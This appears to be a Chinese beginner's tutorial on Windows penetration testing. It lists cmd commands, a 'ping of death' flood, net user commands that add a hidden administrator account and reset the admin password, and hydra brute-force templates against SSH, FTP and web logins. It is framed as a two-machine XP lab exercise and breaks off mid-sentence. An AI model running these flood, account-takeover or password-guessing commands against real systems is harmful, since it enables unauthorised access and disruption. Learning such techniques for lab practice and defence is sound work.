windows系统渗透基础与内网渗透第一个实战

cmd命令
color [选项] 改变控制台颜色

cls ：清空命令
md 创建目录
rd 删除目录
type(start) 文件名 打开文件

死亡之ping

ping -t -l 65500 IP      65500 表示数据长度上限，-t 表示不停地ping目标地址，这种攻击主要是由于单个包的长度超过了IP协议规范所规定的包长度

ipconfig \all    详细查看IP信息
ipconfig \release     释放当前的IP
ipconfig \renew     重新获取IP
systeminfo       查看系统信息

arp -a

可以显示网关的IP和MAC ，用于查看高速缓存中的所有项目，可以用来查看地址解析表的,还有可以查看所有连接了我的计算机，显示对方IP和MAC地址。

net view   查看局域网内其他计算机名
shutdown -s -t 180 -c “提示信息”     180秒后关机，并弹出提示信息。
shutdown -a  取消180秒的关机

创建文件

copy con F:\123.txt   
ctrl+z  回车 退出
del 文件名   删除文件

netstat -a  查看开启哪些端口
netstat -n   查看端口的网络连接情况
netstat -v 查看正在进行的情况

windows xp系统渗透测试一个小实战

一些命令：

net use k: \\192.168.x.x\c$   将192.168.x.x这台机子的c盘拿到本地映射成k盘
net start 服务名   开启服务
net stop 服务名  关闭服务
net user 用户名 密码 /add    添加新用户
net localgroup administrators 用户 /add  把普通用户添加到管理员组 （提权）
net user 用户 /del
net share 查看本地开启的共享 ，本地的各个盘默认开启共享
net share c$ /del    删除c盘共享
net user administrator 123  将管理员密码改为123

下面开始内网渗透测试

实验环境：VMware中的两台xp系统（SP3）,hydra爆破工具

1、破解ssh： 
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh 
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh 


2、破解ftp： 
hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV 
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV 


3、get方式提交，破解web登录： 
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/ 
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php


4、post方式提交，破解web登录： 
hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password" 
hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:" 
（参数说明：-t同时线程数3，-l用户名是admin，字典pass.txt，保存为out.txt，-f 当破解了一个密码就停止， 10.36.16.18目标ip，http-post-form表示破解是采用http的post方式提交的表单密码破解,